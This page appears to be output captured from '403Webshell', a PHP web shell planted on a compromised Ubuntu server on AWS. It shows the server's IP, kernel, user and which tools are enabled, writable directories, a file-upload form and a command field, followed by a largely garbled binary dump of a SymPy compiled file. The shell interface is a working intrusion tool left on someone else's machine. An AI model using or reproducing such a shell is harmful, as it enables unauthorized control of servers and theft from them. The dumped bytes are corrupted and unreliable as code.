403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sympy/tensor/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sympy/tensor/__pycache__/functions.cpython-312.pyc
�

M�ZdF���ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
Gd�d	e�Zed
��ZGd�de�Zy
)�)�Iterable)�singledispatch)�Expr)�Mul)�S)�sympify)�global_parametersc�<�eZdZdZdZd�Zd�Zd�Zed��Z	d�Z
y)	�
TensorProductz,
    Generic class for tensor products.
    Fc�J�ddlm}m}m}ddlm}ddlm}ddlm	}|D�	cgc]
}	t|	���}}	|jdtj�}
|
stj|g|���}|Sg}g}
t j"}|D]Q}	t%|	t&||f�r|j)||	���.t%|	|f�r|
j)|	��M||	z}�S|||�z}t+|
�dk(r|S|dk7r|g|
z}n|
}tj|g|��i|��}||�Scc}	w)Nr)�	NDimArray�
tensorproduct�Array)�
MatrixExpr)�
MatrixBase)�flatten�evaluate�)�sympy.tensor.arrayr
rr�"sympy.matrices.expressions.matexprr�sympy.matrices.matricesr�sympy.strategiesrr�getr	rr�__new__r�One�
isinstancer�append�len)�cls�args�kwargsr
rrrrr�argr�obj�arrays�other�scalar�coeff�newargss                 �8/usr/lib/python3/dist-packages/sympy/tensor/functions.pyrzTensorProduct.__new__s��F�F�A�6�,�(,�-�����-��-��:�:�j�*;�*D�*D�E����,�,�s�*�T�*�C��J����������	�C��#��*�i�@�A��
�
�e�C�j�)��C�*��/����S�!��#�
��
	��}�f�-�-���u�:��?��L��A�:��g��o�G��G��l�l�3�3��3�F�3���s�|���5.s�D c�,�t|j�S�N)r�shape)�selfs r)�rankzTensorProduct.rank3s���4�:�:���c��ddlm}|jD�cgc],}t|d�r|jn||�j��.c}Scc}w)Nr)rr,)rrr �hasattrr,)r-r�is   r)�_get_args_shapeszTensorProduct._get_args_shapes6s7��,�LP�I�I�V�q�7�1�g�.����E�!�H�N�N�B�V�V��Vs�1A	c�:�|j�}t|d�S)N�)r3�sum)r-�
shape_lists  r)r,zTensorProduct.shape:s���*�*�,�
��:�r�"�"r/c���t���tj�fd�t|j|j��D��S)Nc3�j�K�|]*\}}|jt�fd�|D������,y�w)c3�4�K�|]}t�����y�wr+)�next)�.0r2�indexs  �r)�	<genexpr>z6TensorProduct.__getitem__.<locals>.<genexpr>.<genexpr>Bs�����!;�!�$�u�+�!;�s�N)�__getitem__�tuple)r<r"�shpr=s   �r)r>z,TensorProduct.__getitem__.<locals>.<genexpr>As1�����
���S�
�O�O�E�!;�s�!;�;�<�
�s�03)�iterr�fromiter�zipr r3)r-r=s `r)r?zTensorProduct.__getitem__?s>����U����|�|�
���	�	�4�+@�+@�+B�C�
�
�	
r/N)�__name__�
__module__�__qualname__�__doc__�	is_numberrr.r3�propertyr,r?r5r/r)rrs8����I� �D�W��#��#�
r/rc�N�t|d�r|jStd|z��)a�
    Return the shape of the *expr* as a tuple. *expr* should represent
    suitable object such as matrix or array.

    Parameters
    ==========

    expr : SymPy object having ``MatrixKind`` or ``ArrayKind``.

    Raises
    ======

    NoShapeError : Raised when object with wrong kind is passed.

    Examples
    ========

    This function returns the shape of any object representing matrix or array.

    >>> from sympy import shape, Array, ImmutableDenseMatrix, Integral
    >>> from sympy.abc import x
    >>> A = Array([1, 2])
    >>> shape(A)
    (2,)
    >>> shape(Integral(A, x))
    (2,)
    >>> M = ImmutableDenseMatrix([1, 2])
    >>> shape(M)
    (2, 1)
    >>> shape(Integral(M, x))
    (2, 1)

    You can support new type by dispatching.

    >>> from sympy import Expr
    >>> class NewExpr(Expr):
    ...     pass
    >>> @shape.register(NewExpr)
    ... def _(expr):
    ...     return shape(expr.args[0])
    >>> shape(NewExpr(M))
    (2, 1)

    If unsuitable expression is passed, ``NoShapeError()`` will be raised.

    >>> shape(Integral(x, x))
    Traceback (most recent call last):
      ...
    sympy.tensor.functions.NoShapeError: shape() called on non-array object: Integral(x, x)

    Notes
    =====

    Array-like classes (such as ``Matrix`` or ``NDimArray``) has ``shape``
    property which returns its shape, but it cannot be used for non-array
    classes containing array. This function returns the shape of any
    registered object representing array.

    r,zA%s does not have shape, or its type is not registered to shape().)r1r,�NoShapeError)�exprs r)r,r,Gs0��z�t�W���z�z��
�K�d�R�T�Tr/c��eZdZdZy)rLan
    Raised when ``shape()`` is called on non-array object.

    This error can be imported from ``sympy.tensor.functions``.

    Examples
    ========

    >>> from sympy import shape
    >>> from sympy.abc import x
    >>> shape(x)
    Traceback (most recent call last):
      ...
    sympy.tensor.functions.NoShapeError: shape() called on non-array object: x
    N)rErFrGrHr5r/r)rLrL�s���	r/rLN)�collections.abcr�	functoolsr�sympy.core.exprr�sympy.core.mulr�sympy.core.singletonr�sympy.core.sympifyr�sympy.core.parametersr	rr,�	ExceptionrLr5r/r)�<module>rWsJ��$�$� ��"�&�3�9
�D�9
�x�?T��?T�D	�9�	r/

Youez - 2016 - github.com/yon3zu
LinuXploit